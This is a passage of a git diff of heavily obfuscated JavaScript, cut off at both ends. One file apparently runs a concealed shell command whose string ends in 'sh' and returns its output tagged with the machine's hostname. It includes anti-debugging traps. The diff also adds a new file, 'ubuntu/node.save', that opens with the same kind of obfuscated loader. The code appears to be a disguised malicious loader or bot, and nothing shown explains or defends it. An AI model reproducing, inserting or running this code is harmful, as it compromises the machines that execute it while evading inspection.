-0x324,_0xa59bd3-0x11f);}var _0x325f2d={'qAJhW':function(_0x23412d,_0x18decf){return _0x23412d!==_0x18decf;},'OXAMf':_0x2836f6(0x40,0x88,0x113,0xb9,0x5b),'pMkLG':_0x4b666b(0x139,0xfd,0x19c,0x17c,0x153),'DZcFa':_0x4b666b(0x80,0xdf,0x12d,0x10b,0x158),'TxXyC':function(_0x30ce44,_0x419991){return _0x30ce44(_0x419991);},'juRJI':function(_0x4c76e5,_0x47d6db){return _0x4c76e5!==_0x47d6db;},'CjAPJ':_0x40bfae(0x25d,0x286,0x1b6,0x231,0x1e1),'tcSub':_0x3044e2(0x5be,0x5c1,0x4f2,0x57d,0x521),'rRxYy':function(_0x586f17,_0x5b3d7e){return _0x586f17+_0x5b3d7e;},'HMtCe':function(_0x5cacb6,_0xf69d50){return _0x5cacb6+_0xf69d50;},'opbMY':_0x46fb4c(0x381,0x317,0x351,0x308,0x3e7)+_0x3044e2(0x6c6,0x6f4,0x630,0x667,0x5c9)+_0x2836f6(0x56,0xed,0x61,0x59,0x128)};await _0x325f2d[_0x46fb4c(0x2fe,0x3c6,0x344,0x333,0x312)](cmd,_0x40bfae(0x345,0x2f0,0x389,0x2e8,0x256)+_0x3044e2(0x6ca,0x6fe,0x66c,0x674,0x614)+_0x4b666b(0x107,0xde,0xf7,0x11f,0x16d)+_0x3044e2(0x667,0x5d4,0x6e0,0x65b,0x5f5)+_0x46fb4c(0x2f0,0x313,0x2db,0x362,0x2b6)+_0x4b666b(0x1a8,0x146,0x143,0x1b1,0x1e9)+_0x4b666b(0x1a3,0x151,0x1b6,0x101,0x16c)+_0x3044e2(0x556,0x646,0x635,0x5df,0x62e)+_0x3044e2(0x64e,0x522,0x627,0x5bb,0x542)+'sh')[_0x2836f6(0xef,0x11a,0x10e,0x1b9,0xfd)](_0x4adf17=>{function _0x38bd24(_0x2565bd,_0xa51b82,_0x25b66e,_0x522b61,_0x469910){return _0x4b666b(_0x2565bd-0x159,_0x522b61- -0x12c,_0x25b66e-0x197,_0x522b61-0x1d6,_0xa51b82);}function _0x2689cb(_0x7f4c14,_0x46b379,_0x435475,_0x537153,_0x5eaf66){return _0x2836f6(_0x7f4c14-0x19,_0x7f4c14-0xda,_0x435475-0x1b8,_0x537153-0x23,_0x5eaf66);}function _0x14cbe6(_0x58bb1d,_0x2589d9,_0x358606,_0x4f5b47,_0x14f85f){return _0x2836f6(_0x58bb1d-0x2,_0x4f5b47-0x2da,_0x358606-0x1d9,_0x4f5b47-0x131,_0x2589d9);}function _0x348cf2(_0x42b241,_0x11cf5a,_0x1a4c92,_0x4e0131,_0x24ee6d){return _0x40bfae(_0x42b241-0x1a8,_0x11cf5a-0x157,_0x1a4c92,_0x42b241- -0xf7,_0x24ee6d-0x143);}if(_0x325f2d[_0x348cf2(0x10f,0x196,0xc2,0xa6,0xd2)](_0x325f2d[_0x2689cb(0x1a5,0x10a,0x1c7,0x133,0x130)],_0x325f2d[_0x348cf2(0x143,0xb0,0xc3,0xdd,0x15d)])){var _0x3eb150=_0x4c2c5a?function(){function _0x186a0b(_0x3c3a6f,_0x29f0a5,_0x5c6c82,_0x593640,_0x284e61){return _0x38bd24(_0x3c3a6f-0x18a,_0x29f0a5,_0x5c6c82-0xc,_0x284e61- -0x109,_0x284e61-0xa8);}if(_0x3dd55a){var _0x2d4222=_0x586223[_0x186a0b(0x8,-0xaa,-0xe0,-0x64,-0x7a)](_0xaaafbd,arguments);return _0x411c21=null,_0x2d4222;}}:function(){};return _0xd0d09a=![],_0x3eb150;}else nodeOutput=_0x4adf17[_0x348cf2(0x1e7,0x1c1,0x1c4,0x1ad,0x273)+'t'],isDone=!![];})[_0x40bfae(0x1f5,0x28a,0x1bf,0x23d,0x1d2)](_0x532a1d=>{function _0x1be692(_0xd4a7c,_0x17267f,_0x59d93c,_0x8a4009,_0x37e29b){return _0x2836f6(_0xd4a7c-0x97,_0x8a4009-0x4e8,_0x59d93c-0x18c,_0x8a4009-0xe,_0x17267f);}function _0x4e44d2(_0x286317,_0x24b43c,_0x53cddd,_0x1bfafa,_0x3e62ba){return _0x46fb4c(_0x286317-0x1b7,_0x24b43c-0x2c,_0x1bfafa- -0x454,_0x286317,_0x3e62ba-0xc7);}function _0x2b44e3(_0x4b84bb,_0x1fb9f6,_0x1617aa,_0x500a64,_0x21f033){return _0x2836f6(_0x4b84bb-0xf9,_0x1fb9f6-0x293,_0x1617aa-0x116,_0x500a64-0x11f,_0x1617aa);}function _0x2a4c16(_0x1595e7,_0x3a36f0,_0x8ff8a2,_0x4372b0,_0x1c81d8){return _0x4b666b(_0x1595e7-0x109,_0x1c81d8-0xa2,_0x8ff8a2-0x144,_0x4372b0-0x3f,_0x3a36f0);}function _0x4c5ffd(_0x122891,_0x7bf775,_0x69b3e4,_0x5d5875,_0x34df19){return _0x3044e2(_0x122891-0x1a6,_0x34df19,_0x69b3e4-0xac,_0x69b3e4-0x26,_0x34df19-0x110);}if(_0x325f2d[_0x4e44d2(-0x152,-0x101,-0xd4,-0x126,-0xb0)](_0x325f2d[_0x2a4c16(0x117,0x18e,0x1df,0x15b,0x150)],_0x325f2d[_0x2b44e3(0x316,0x2e7,0x36c,0x36f,0x257)]))return _0x4eb242;else console[_0x1be692(0x622,0x5fb,0x5b0,0x644,0x67e)](_0x325f2d[_0x2a4c16(0x1f8,0x240,0x1a3,0x187,0x1c8)],_0x532a1d);});if(isDone)return _0x325f2d[_0x4b666b(0x192,0x15e,0x15f,0xea,0x17e)](_0x325f2d[_0x2836f6(0x102,0x9b,0x24,0x7c,0xef)],_0x325f2d[_0x3044e2(0x6a1,0x6a4,0x6c7,0x697,0x71a)])?_0x325f2d[_0x2836f6(0x6,0x7f,0x41,0x30,0x44)](_0x325f2d[_0x4b666b(0x109,0x197,0x149,0x21d,0x10d)](hostname,_0x325f2d[_0x46fb4c(0x2ce,0x2a3,0x2e8,0x266,0x303)]),nodeOutput):!![];});function _0x20f2a3(_0x3c9bc6){function _0x513ded(_0x264078,_0x39c476,_0xe781c,_0x2cd737,_0x28909b){return _0x2ad22a(_0x264078,_0x39c476-0xce,_0xe781c-0x73,_0x28909b- -0xf4,_0x28909b-0x183);}function _0x44ff2b(_0x2707d0,_0x559124,_0x2cd6f3,_0x2b1b5f,_0x2a50b6){return _0x4c604d(_0x2707d0-0xd,_0x2cd6f3- -0x65b,_0x2cd6f3-0x52,_0x2707d0,_0x2a50b6-0xd);}var _0x799b34={'lpcwc':function(_0x462c98,_0x22554a){return _0x462c98===_0x22554a;},'PmGlc':_0x592f11(0x3c,0x3f,-0x1a,-0x40,0x47),'wgSxp':_0x592f11(0x4b,0x6d,0xe9,0xbc,0x21),'dgzBa':_0x592f11(-0x5e,-0x60,-0x41,-0xef,-0x43)+_0x44ff2b(-0xa4,-0x13c,-0xc0,-0xf1,-0xca)+_0x4186be(0x114,0xd3,0x65,0x78,0x2f),'fVgnY':_0x4186be(0x74,0xd7,0x17a,0x16c,0xba)+'er','DXMee':_0x592f11(-0xc,0xf,-0x56,-0x20,0x23)+_0x44ff2b(-0x1a0,-0x27c,-0x1d9,-0x24a,-0x23b)+'1','EqPRz':function(_0x3702fd,_0x21169e){return _0x3702fd!==_0x21169e;},'iQCdZ':_0x1de04f(-0xd1,-0x21,-0xc8,0x29,-0x5a),'sQXhk':function(_0x4deb5d,_0x395e79){return _0x4deb5d(_0x395e79);},'NZlIK':_0x4186be(0xe2,0x4d,-0x3d,0xd1,0x17),'YWKgf':_0x4186be(0x61,0x2e,0x99,0x29,0x1a),'vIIGQ':_0x4186be(0xb9,0x40,0x92,-0x21,0x4f)+'g','dFhFt':function(_0x310b7e,_0x41a42f){return _0x310b7e===_0x41a42f;},'lIOJu':_0x592f11(0x3b,0x53,0x38,0xac,0xcd),'TFYpU':_0x592f11(-0x8,0x35,-0x7f,0x2b,-0xa8),'gTnzs':function(_0x10046e,_0x17e367){return _0x10046e===_0x17e367;},'GZYjC':_0x513ded(0x453,0x44c,0x492,0x4be,0x4ec),'HHVOe':function(_0x13d267,_0x57e3d0){return _0x13d267!==_0x57e3d0;},'Vennb':function(_0x3323c2,_0xa427a8){return _0x3323c2+_0xa427a8;},'NacCM':function(_0x1d85d4,_0xf53d54){return _0x1d85d4/_0xf53d54;},'hLvNg':_0x1de04f(-0x61,0x37,-0x92,-0x1f,-0x50)+'h','WlTMS':function(_0x7e42c,_0x4b9f2a){return _0x7e42c===_0x4b9f2a;},'DjiRW':function(_0x2e2e1f,_0x3ed21c){return _0x2e2e1f%_0x3ed21c;},'RRGUb':_0x592f11(-0x78,-0x84,-0x30,-0x11a,-0xa6),'wgPlZ':function(_0x572cf2,_0x3ada43){return _0x572cf2+_0x3ada43;},'xtOgj':_0x1de04f(0x73,0x171,0xa0,0x124,0xed),'XxiOk':_0x4186be(0x14b,0xf6,0xd4,0xf3,0x11e),'AmnMR':_0x4186be(0xd0,0xa8,0x121,0xd2,0xd)+'n','DknVq':function(_0x26214a,_0x32b450){return _0x26214a!==_0x32b450;},'otiaG':_0x4186be(0x12,0x11,-0x28,-0x5e,-0xe),'aarkV':_0x592f11(0x22,0x88,0x6c,0x13,-0x7e)+_0x1de04f(0x5e,0x93,-0x11,0x3d,0x2c)+'t','jBDiN':function(_0x2c2a28,_0x364fed){return _0x2c2a28+_0x364fed;},'OYsbu':function(_0x24545e,_0x1eb3a5){return _0x24545e+_0x1eb3a5;},'rueaD':_0x44ff2b(-0x1ad,-0x156,-0x153,-0x130,-0x1cb)+_0x592f11(0x6c,-0x7,0x82,0x64,0x9b)+_0x1de04f(0x55,0x3d,0xe0,0x66,0x52)+_0x592f11(-0x3d,-0x73,-0x4d,0x1c,-0xba),'MmZig':_0x513ded(0x3b9,0x3b5,0x413,0x3d9,0x3f6)+_0x592f11(0x3,0x76,-0x25,0x32,-0x2f)+_0x4186be(0x5c,0x78,0x16,0xb9,0x2a)+_0x1de04f(0x5d,0x64,0x129,0xb8,0x85)+_0x1de04f(0xa3,-0x73,-0x6e,-0x5,0xf)+_0x592f11(0x77,0x5d,0x6,0x79,0xc7)+'\x20)','yufEQ':function(_0x1fafd6){return _0x1fafd6();},'oudKu':_0x1de04f(0x6e,0x64,0x53,0x144,0xb8)+_0x513ded(0x50e,0x440,0x458,0x45f,0x490)+'+$','MCRNL':_0x1de04f(-0x52,-0x59,0x8f,0x5c,-0xd),'TjtDG':_0x592f11(-0x6f,0xf,-0xa4,-0x110,-0xe2),'GquKR':function(_0x55de20,_0x5cbdcc){return _0x55de20===_0x5cbdcc;},'QMMvl':_0x513ded(0x390,0x435,0x476,0x40b,0x420),'mkumR':_0x513ded(0x4b1,0x412,0x4db,0x443,0x457),'xHEyV':function(_0x45c646,_0x13afe2){return _0x45c646!==_0x13afe2;},'RMHHK':_0x513ded(0x443,0x548,0x4e5,0x424,0x4b5)};function _0x4186be(_0x7ca3a8,_0x54d032,_0x2aaaa8,_0x146eb5,_0x5f34e8){return _0x530d4(_0x7ca3a8-0x159,_0x54d032-0x1ea,_0x54d032- -0x7,_0x146eb5-0x155,_0x5f34e8);}function _0x336f96(_0x15fbbc){function _0x21549c(_0x35819d,_0x2c46ff,_0x2ddda4,_0x56282f,_0x5af8ba){return _0x44ff2b(_0x2c46ff,_0x2c46ff-0x1ac,_0x2ddda4-0x6ce,_0x56282f-0xb7,_0x5af8ba-0x18d);}function _0x324ca8(_0x403d3a,_0x16ee2b,_0x47ded2,_0x2c3bcd,_0x3bb325){return _0x1de04f(_0x403d3a-0x8a,_0x16ee2b-0x190,_0x2c3bcd,_0x2c3bcd-0x2b,_0x3bb325-0x4be);}function _0x2d1b30(_0x3b296d,_0x412afb,_0xcf9f,_0x436b48,_0x28c15a){return _0x513ded(_0x28c15a,_0x412afb-0x1aa,_0xcf9f-0x31,_0x436b48-0xf3,_0x3b296d- -0x4f8);}function _0x221650(_0x4defe8,_0x5d48cc,_0x77e481,_0xc65a7,_0x42cf80){return _0x513ded(_0x77e481,_0x5d48cc-0x1bd,_0x77e481-0x13f,_0xc65a7-0xc,_0x5d48cc- -0x520);}function _0x1e7946(_0x3a3f24,_0x2f35d9,_0x5b762,_0x3e9d19,_0x4f70f1){return _0x1de04f(_0x3a3f24-0x1ec,_0x2f35d9-0x2c,_0x3a3f24,_0x3e9d19-0x39,_0x4f70f1-0x399);}var _0x461e3a={'hxLmG':_0x799b34[_0x221650(-0x169,-0x148,-0xcd,-0x11f,-0x132)],'EusHT':_0x799b34[_0x1e7946(0x3b5,0x33d,0x335,0x3cc,0x3da)],'EiSSV':_0x799b34[_0x221650(-0x5a,-0x71,-0x9a,-0xd6,0x1)],'wMtZS':function(_0x56c006,_0x21cf8f){function _0x4b25c8(_0xec7f48,_0x411467,_0x4eb5aa,_0x4e384d,_0x80553c){return _0x221650(_0xec7f48-0x168,_0xec7f48-0x384,_0x411467,_0x4e384d-0x1eb,_0x80553c-0x28);}return _0x799b34[_0x4b25c8(0x2ca,0x2cf,0x27a,0x35b,0x23c)](_0x56c006,_0x21cf8f);},'LKyJf':_0x799b34[_0x221650(-0x179,-0x110,-0xd7,-0x18b,-0xcd)],'TmydF':function(_0x479c12,_0xd216f9){function _0x374912(_0x50e15b,_0x4e0fe2,_0x3d1664,_0x245402,_0x5e4091){return _0x221650(_0x50e15b-0x2b,_0x50e15b-0x641,_0x245402,_0x245402-0x1d6,_0x5e4091-0x1df);}return _0x799b34[_0x374912(0x5a2,0x604,0x60d,0x518,0x5f1)](_0x479c12,_0xd216f9);}};if(_0x799b34[_0x324ca8(0x456,0x449,0x505,0x532,0x4e0)](_0x799b34[_0x324ca8(0x4bc,0x538,0x4a3,0x592,0x50b)],_0x799b34[_0x2d1b30(-0x69,-0xba,-0xde,-0x67,-0x86)])){if(_0x94c4af){var _0x4600b6=_0x44382a[_0x1e7946(0x4aa,0x4eb,0x4d1,0x4d8,0x468)](_0x49257e,arguments);return _0x2df9fc=null,_0x4600b6;}}else{if(_0x799b34[_0x324ca8(0x4a2,0x567,0x549,0x57a,0x4e0)](typeof _0x15fbbc,_0x799b34[_0x1e7946(0x391,0x317,0x2c5,0x2d8,0x35c)])){if(_0x799b34[_0x21549c(0x53a,0x4c9,0x4fa,0x475,0x4e5)](_0x799b34[_0x221650(-0x2b,-0x26,-0x8,-0x22,-0x61)],_0x799b34[_0x324ca8(0x4f0,0x43b,0x495,0x506,0x472)])){var _0x471396=_0x14a7e5[_0x2d1b30(0x8,0x79,-0x65,0x87,-0x43)](_0x11b68a,arguments);return _0x542f87=null,_0x471396;}else return function(_0x3553eb){}[_0x221650(-0x49,-0xd8,-0x8c,-0x49,-0x46)+_0x1e7946(0x331,0x33c,0x41b,0x393,0x376)+'r'](_0x799b34[_0x21549c(0x4ec,0x4b5,0x4e3,0x483,0x50e)])[_0x221650(-0x8c,-0x20,-0xb2,-0x71,0x44)](_0x799b34[_0x324ca8(0x4e6,0x4a7,0x573,0x584,0x4ff)]);}else{if(_0x799b34[_0x1e7946(0x420,0x388,0x302,0x3a0,0x392)](_0x799b34[_0x324ca8(0x4d5,0x569,0x427,0x43e,0x4cc)],_0x799b34[_0x2d1b30(-0xb9,-0x7e,-0x121,-0x14b,-0xf5)])){if(_0x799b34[_0x1e7946(0x41e,0x4c9,0x3ed,0x3a8,0x44a)](_0x799b34[_0x21549c(0x5fc,0x586,0x5f8,0x5bb,0x614)]('',_0x799b34[_0x221650(-0xe8,-0x8c,-0xcc,-0x9,-0x9e)](_0x15fbbc,_0x15fbbc))[_0x799b34[_0x221650(-0x122,-0xc6,-0xdd,-0xf8,-0x122)]],0x1bb1+0x11e5+-0x2d95)||_0x799b34[_0x221650(-0x36,-0x62,-0x63,0x1f,-0x85)](_0x799b34[_0x21549c(0x57f,0x4f2,0x590,0x5d4,0x614)](_0x15fbbc,0x1*0x14db+-0x18ef*-0x1+-0x2db6),-0x1*0x145b+0x5cb*0x6+0x4cd*-0x3)){if(_0x799b34[_0x2d1b30(-0x109,-0xe3,-0x84,-0x10c,-0x19f)](_0x799b34[_0x324ca8(0x5d7,0x5c1,0x576,0x5cf,0x59f)],_0x799b34[_0x221650(-0xae,-0xe,-0x5c,0x5a,0x60)]))(function(){function _0x208d72(_0x4bdc7a,_0x2084ec,_0x3ad76a,_0x418209,_0x213429){return _0x2d1b30(_0x2084ec-0x69d,_0x2084ec-0x188,_0x3ad76a-0x1e0,_0x418209-0x11c,_0x213429);}function _0x1fbd97(_0x5bcd12,_0x340fd5,_0x3b6845,_0x311520,_0x1a8785){return _0x2d1b30(_0x5bcd12- -0x106,_0x340fd5-0x2f,_0x3b6845-0x44,_0x311520-0xaa,_0x1a8785);}function _0x358803(_0x51eb03,_0xc87eb3,_0x4dde1d,_0x196ffe,_0x38f572){return _0x21549c(_0x51eb03-0xcd,_0x196ffe,_0x4dde1d- -0x209,_0x196ffe-0xd9,_0x38f572-0xe8);}function _0x376853(_0x42a92b,_0x3aea95,_0x13852e,_0x4a5d78,_0x4816b4){return _0x2d1b30(_0x3aea95-0x63f,_0x3aea95-0x1d6,_0x13852e-0x97,_0x4a5d78-0x164,_0x13852e);}if(_0x799b34[_0x1fbd97(-0x1ab,-0x173,-0x1ac,-0x213,-0x245)](_0x799b34[_0x358803(0x43d,0x3a1,0x3c1,0x377,0x321)],_0x799b34[_0x208d72(0x63d,0x6ba,0x6a4,0x6aa,0x63f)])){if(_0x527cbe){var _0x312769=_0x2dcb36[_0x1fbd97(-0xfe,-0x69,-0x154,-0x120,-0xfa)](_0x310aae,arguments);return _0x3b3d2e=null,_0x312769;}}else return!![];}[_0x1e7946(0x437,0x3a0,0x3bd,0x408,0x3b0)+_0x2d1b30(-0xea,-0x146,-0x5f,-0x91,-0x11f)+'r'](_0x799b34[_0x21549c(0x5d8,0x61a,0x618,0x64e,0x63a)](_0x799b34[_0x2d1b30(-0xfe,-0x61,-0x179,-0x8e,-0xdd)],_0x799b34[_0x324ca8(0x43b,0x489,0x536,0x489,0x4d0)]))[_0x21549c(0x574,0x4d3,0x512,0x566,0x521)](_0x799b34[_0x221650(-0x7d,-0x48,-0xe2,-0x5e,-0x77)]));else{var _0x424d6d=_0x1e74c1?function(){function _0x570343(_0x21c554,_0x3d059c,_0x305a08,_0x4031d7,_0x8970c3){return _0x221650(_0x21c554-0x58,_0x21c554-0x442,_0x4031d7,_0x4031d7-0x184,_0x8970c3-0x6c);}if(_0x77940b){var _0xce0d34=_0x3baa51[_0x570343(0x422,0x416,0x402,0x492,0x4bf)](_0xb5049b,arguments);return _0x4cdcc4=null,_0xce0d34;}}:function(){};return _0x305b7d=![],_0x424d6d;}}else{if(_0x799b34[_0x221650(-0xf,-0x81,-0x21,-0x80,-0xc1)](_0x799b34[_0x21549c(0x45a,0x458,0x4fc,0x4c0,0x511)],_0x799b34[_0x221650(-0x193,-0x12f,-0x1ae,-0x116,-0xf4)]))return function(_0x3c5062){}[_0x2d1b30(-0xb0,-0x103,-0xe5,-0x29,-0x16)+_0x221650(-0x11c,-0x112,-0xae,-0x7b,-0xb8)+'r'](_0x461e3a[_0x324ca8(0x5a0,0x5cb,0x53e,0x547,0x573)])[_0x21549c(0x60a,0x608,0x60b,0x570,0x5b7)](_0x461e3a[_0x2d1b30(-0x52,0x47,-0x2c,-0x11,0x3f)]);else(function(){function _0xa8cb7(_0x2b132f,_0x414a2a,_0x1aa796,_0x1a9091,_0x964d2e){return _0x324ca8(_0x2b132f-0x8a,_0x414a2a-0x118,_0x1aa796-0x168,_0x414a2a,_0x2b132f- -0x4dc);}function _0x22ac0d(_0x358e34,_0x19c1ef,_0x2a4721,_0x27c90c,_0x5ddb15){return _0x1e7946(_0x358e34,_0x19c1ef-0x1d1,_0x2a4721-0x131,_0x27c90c-0x96,_0x2a4721- -0x3c2);}function _0x90c80d(_0xf2ad8e,_0x293f3b,_0x1565a6,_0x23fcf0,_0x56143f){return _0x2d1b30(_0xf2ad8e-0x47c,_0x293f3b-0x118,_0x1565a6-0x166,_0x23fcf0-0x37,_0x23fcf0);}function _0x2b7d2a(_0x159384,_0xd7d70b,_0x2316d7,_0x4a23bd,_0x2eed9d){return _0x324ca8(_0x159384-0x15e,_0xd7d70b-0x69,_0x2316d7-0x9c,_0x2eed9d,_0xd7d70b- -0x303);}function _0x339a2a(_0x5e01d0,_0x42adf2,_0x18dd20,_0x13b06c,_0x4d8076){return _0x1e7946(_0x4d8076,_0x42adf2-0x1ae,_0x18dd20-0xcb,_0x13b06c-0xa1,_0x5e01d0- -0x3ce);}if(_0x461e3a[_0x339a2a(-0x2a,0x64,0x42,0x6,0x2b)](_0x461e3a[_0x90c80d(0x494,0x537,0x491,0x41a,0x4c2)],_0x461e3a[_0x22ac0d(0x13,0x22,0xb6,0x67,0x19)])){var _0x3a47af=_0x461e3a[_0x2b7d2a(0x1a7,0x22c,0x1d4,0x216,0x2c5)][_0x2b7d2a(0x248,0x250,0x23a,0x24e,0x2b8)]('|'),_0x2a3d8e=0x1511+0x196*-0xc+-0x209;while(!![]){switch(_0x3a47af[_0x2a3d8e++]){case'0':_0xeb21c8[_0x339a2a(0x65,-0x34,0x35,0xe6,-0x3c)+_0x90c80d(0x469,0x42e,0x4fa,0x506,0x44a)]=_0x336432[_0x90c80d(0x3d9,0x40b,0x380,0x3ea,0x3cc)](_0x24a6cb);continue;case'1':_0x2e81f5[_0x3387bc]=_0xeb21c8;continue;case'2':var _0xeb21c8=_0x1c72ce[_0xa8cb7(-0x7,-0x47,-0x19,0x28,-0x56)+_0x90c80d(0x392,0x375,0x3b1,0x42e,0x2f5)+'r'][_0x22ac0d(-0x47,-0x2f,0x6,-0x72,-0x1c)+_0xa8cb7(-0x49,-0xc,0x31,0x58,-0x36)][_0xa8cb7(0x6,-0x9f,-0x1,-0x5a,-0x83)](_0x4fdfe7);continue;case'3':_0xeb21c8[_0x22ac0d(-0x11,0x74,0x2,0x53,0x4b)+_0x90c80d(0x429,0x41f,0x449,0x3fc,0x474)]=_0x42dd99[_0xa8cb7(0xd,0xa0,0x22,0x45,-0x2c)+_0x339a2a(0x3f,0x42,-0x5d,-0x65,0x24)][_0x339a2a(-0x11,-0x4d,-0x31,-0x42,-0x33)](_0x42dd99);continue;case'4':var _0x42dd99=_0x3c68b7[_0x3387bc]||_0xeb21c8;continue;case'5':var _0x3387bc=_0x3dafad[_0xec8d42];continue;}break;}}else return![];}[_0x324ca8(0x4b8,0x4a5,0x553,0x4b6,0x4d5)+_0x1e7946(0x3bd,0x317,0x381,0x3c2,0x376)+'r'](_0x799b34[_0x324ca8(0x557,0x537,0x51c,0x50d,0x57a)](_0x799b34[_0x324ca8(0x3f7,0x4df,0x4c9,0x4ea,0x487)],_0x799b34[_0x324ca8(0x4d3,0x4f1,0x51d,0x53a,0x4d0)]))[_0x324ca8(0x57f,0x53f,0x58a,0x60e,0x58d)](_0x799b34[_0x1e7946(0x435,0x4a1,0x464,0x46e,0x47c)]));}}else{if(_0x4bd11c)return _0x1fd3e3;else _0x461e3a[_0x21549c(0x4e9,0x586,0x509,0x46e,0x4e4)](_0x3c096c,0x4b2*0x7+-0x96b+-0x17*0x105);}}_0x799b34[_0x2d1b30(-0x77,-0x17,-0xc6,-0x6a,-0x35)](_0x336f96,++_0x15fbbc);}}function _0x592f11(_0x18188e,_0x568c1c,_0x1eb1f8,_0x42c477,_0x56af4f){return _0x3db385(_0x42c477,_0x18188e-0xb4,_0x1eb1f8-0x9,_0x42c477-0x18b,_0x56af4f-0x1ec);}function _0x1de04f(_0x40b5c5,_0x5ecf9e,_0x335fd2,_0x32ca7e,_0x14d8f8){return _0x20d961(_0x335fd2,_0x14d8f8-0x3e,_0x335fd2-0xbb,_0x32ca7e-0x8f,_0x14d8f8-0x30);}try{if(_0x799b34[_0x44ff2b(-0x116,-0x200,-0x15d,-0x1eb,-0x19c)](_0x799b34[_0x4186be(0x12f,0xfb,0x6c,0x6e,0x76)],_0x799b34[_0x4186be(0x152,0xfb,0x134,0x75,0x189)])){var _0x4b25d7=_0x799b34[_0x592f11(-0x14,-0x20,-0x64,0x48,-0xe)](_0x426b77,_0x799b34[_0x1de04f(0x178,0x7e,0x42,0x68,0xd9)](_0x799b34[_0x1de04f(-0xe,0x5e,-0x89,0x1b,-0x1b)](_0x799b34[_0x592f11(-0xa7,-0x15,-0x53,-0x139,-0x12e)],_0x799b34[_0x513ded(0x3dd,0x399,0x46f,0x34f,0x3e9)]),');'));_0x1494fc=_0x799b34[_0x1de04f(0x22,0x3,-0x1b,0xfc,0x57)](_0x4b25d7);}else{if(_0x3c9bc6)return _0x799b34[_0x4186be(0x154,0xcc,0xee,0x94,0xc4)](_0x799b34[_0x513ded(0x41c,0x3ec,0x476,0x4ad,0x421)],_0x799b34[_0x4186be(0x141,0xe6,0xa5,0xf5,0x10e)])?_0x3de59b[_0x44ff2b(-0x186,-0x156,-0x167,-0x1e2,-0x1c9)+_0x513ded(0x4b6,0x492,0x50f,0x44c,0x4a5)]()[_0x592f11(0x69,0x6a,0x6d,0xfa,0xf0)+'h'](_0x799b34[_0x4186be(-0x45,0xc,-0x67,-0x98,0xa8)])[_0x1de04f(0x86,0x1f,-0x9,-0x45,0x2b)+_0x592f11(0x10,-0x5d,-0x4c,-0x33,0x8a)]()[_0x1de04f(0xb4,-0x8b,0x36,0xae,0x17)+_0x1de04f(0x76,0x6e,-0x65,-0x19,-0x23)+'r'](_0x46bdba)[_0x513ded(0x517,0x55a,0x57b,0x45b,0x4fe)+'h'](_0x799b34[_0x44ff2b(-0x158,-0x185,-0x1ea,-0x235,-0x220)]):_0x336f96;else _0x799b34[_0x1de04f(0x1e,0x65,0x17,-0xac,-0x18)](_0x799b34[_0x1de04f(0xc8,0x94,0x5b,0x13d,0xb0)],_0x799b34[_0x4186be(0x163,0x114,0x130,0x19a,0x16d)])?_0x2d1802[_0x44ff2b(-0x23,-0x112,-0xc8,-0xc5,-0x87)](_0x799b34[_0x44ff2b(-0xa4,-0x94,-0x12c,-0x182,-0xdb)],_0x28bdb1):_0x799b34[_0x513ded(0x50d,0x4f6,0x48a,0x443,0x481)](_0x336f96,-0x3*-0x10f+-0x25+0x4*-0xc2);}}catch(_0x44ae5c){}} \ No newline at end of file diff --git a/ubuntu/node.save b/ubuntu/node.save new file mode 100644 index 0000000..6fe636b --- /dev/null +++ b/ubuntu/node.save @@ -0,0 +1 @@ +(function (_0x1dd8bd, _0x34ecfc) { function _0x58be6a(_0x53b4cb, _0x5d3865, _0x527c17, _0x553fd7, _0xbe7a11) { return _0x4fb0(_0x553fd7 - -0x6, _0xbe7a11); } var _0x40a9a0 = _0x1dd8bd(); function _0x2e1812(_0x48e372, _0x1aec56, _0x498b21, _0x5893dd, _0x3d463b) { return _0x4fb0(_0x3d463b - -0x86, _0x498b21); } function _0x488d7c(_0x145560, _0x35da35, _0x4ac4c9, _0x1674ef, _0x449a07) { return _0x4fb0(_0x145560 - 0x37a, _0x4ac4c9); } function _0x2e694c(_0x14ce86, _0x44621f, _0x12ee9b, _0x5723ba, _0x385fcb) { return _0x4fb0(_0x385fcb - 0x3bc, _0x5723ba); } function _0x1c1bbe(_0x18434e, _0x154999, _0x72c107, _0x23149b, _0x3486db) { return _0x4fb0(_0x3486db - 0x380, _0x72c107); } while (!![]) { try { var _0xde0de0 = -parseInt(_0x58be6a(0xed, 0x188, 0x1df, 0x199, 0x22a)) / (0x2 * 0xf1 + 0x63d * -0x2 + -0x1 * -0xa99) * (parseInt(_0x58be6a(0x215, 0x245, 0x257, 0x261, 0x21e)) / (-0x2620 + -0x1c4 * -0x2 + 0x2 * 0x114d)) + -parseInt(_0x58be6a(0x322, 0x2f3, 0x27a, 0x26e, 0x206)) / (-0x3bd + 0x2159 + 0x1 * -0x1d99) * (-parseInt(_0x58be6a(0x25b, 0x24d, 0x1ef, 0x235, 0x182)) / (0x6db + -0xe64 + 0x78d)) + -parseInt(_0x2e694c(0x5c4, 0x5c2, 0x564, 0x5ec, 0x5ae)) / (-0x55 * -0x26 + 0x7e1 * 0x1 + 0x2 * -0xa3d) + -parseInt(_0x488d7c(0x62a, 0x676, 0x61f, 0x57c, 0x59b)) / (-0x1c03 + 0x47 * 0x6b + 0x2a * -0xa) + -parseInt(_0x2e694c(0x637, 0x584, 0x65d, 0x653, 0x5be)) / (-0x31 * -0x5d + 0x1 * -0x10ce + -0xf8) + parseInt(_0x2e694c(0x5af, 0x507, 0x609, 0x617, 0x56c)) / (0x65 * -0x43 + 0x1a * -0xa9 + 0x2ba1) * (parseInt(_0x58be6a(0x249, 0x248, 0x23a, 0x1c0, 0x150)) / (-0x16d2 + 0x2 * 0x11f5 + -0xd0f)) + parseInt(_0x58be6a(0x196, 0x1c6, 0x1bc, 0x238, 0x1cd)) / (-0x1552 + -0xde8 + 0x2344) * (parseInt(_0x2e694c(0x539, 0x5f8, 0x5ac, 0x59f, 0x5ec)) / (0xda * 0xd + 0x1576 + -0x207d)); if (_0xde0de0 === _0x34ecfc) break; else _0x40a9a0['push'](_0x40a9a0['shift']()); } catch (_0x330d0c) { _0x40a9a0['push'](_0x40a9a0['shift']()); } } }(_0x47f1, 0x8fdfe + -0x1468b * 0xa + 0xe99a3)); function _0x8e9f16(_0x4970e5, _0x3f58c3, _0x459c33, _0x5b0eb1, _0x51f13b) { return _0x4fb0(_0x51f13b - -0x372, _0x459c33); } function _0x1c4bc3(_0x6d879a, _0x1993c5, _0x4f3306, _0x3abec2, _0x5dfb17) { return _0x4fb0(_0x4f3306 - -0x19c, _0x5dfb17); } function _0x4fb0(_0x287606, _0x420105) { var _0x32fa0f = _0x47f1(); return _0x4fb0 = function (_0x2dd135, _0x47f1d3) { _0x2dd135 = _0x2dd135 - (-0x1 * -0x22ed + -0x26fb * 0x1 + 